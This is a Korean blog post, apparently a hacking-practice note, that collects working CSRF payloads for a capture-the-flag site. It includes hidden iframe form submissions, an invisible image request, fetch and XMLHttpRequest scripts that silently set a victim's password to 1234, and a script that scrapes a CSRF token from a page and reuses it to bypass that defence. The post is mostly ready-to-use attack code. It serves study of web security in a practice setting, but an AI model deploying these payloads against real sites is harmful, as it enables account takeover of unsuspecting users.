반응형
GET방식 예시 코드
iframe, form
iframe의 sandbox속성으로 팝업 제거
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"sandbox="allow-scripts"></iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
img
<img src="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?pw=1234" width="0" height="0" style="display: none;">
POST방식 예시 코드
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
<script>
fetch('http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'pw=1234'
});
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('pw=1234');
</script>
POST방식 예시 코드+CSRF 토큰 우회
- CSRF토큰이 발급된다면, 어디에서 토큰이 발급되는지 확인을 합니다.
- 현재 연습하고 있는 싸이트에서는 http://ctf.segfaulthub.com:7777/csrf_3/mypage.php 에서 토큰을 발행하고 있고. 토큰은 input[name="csrf_token"] 태그 안에 있습니다.
- 자바스크립트로 토큰을 가져와서 http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php에 비밀번호를 변경하도록 합니다.
- 아래코드는 자바스트립트의 XMLHttpRequest를 이용하기 떄문에 팝업창이 뜨지 않습니다.
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = xhr.responseText;
var parser = new DOMParser();
var htmlDoc = parser.parseFromString(response, 'text/html');
var csrfInput = htmlDoc.querySelector('input[name="csrf_token"]');
var csrfToken = csrfInput.value;
console.log('CSRF Token:', csrfToken);
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', 'http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('pw=1234&csrf_token=' + csrfToken);
}
};
xhr.open('GET', 'http://ctf.segfaulthub.com:7777/csrf_3/mypage.php', true);
xhr.send();
</script>
반응형
'old > Cyber Security' 카테고리의 다른 글
웹 해킹 예제: union base sql injection_CTF: 노말틱 DB 데이터 추출 1 (0) | 2023.07.19 |
---|---|
SQL Injection 공격기법 리스트 (0) | 2023.07.19 |
CSRF (Client Side Request Forgery) 란 (0) | 2023.06.03 |
사이버 보안: XSS이란 (0) | 2023.05.23 |
웹해킹: SQL injection (0) | 2023.05.11 |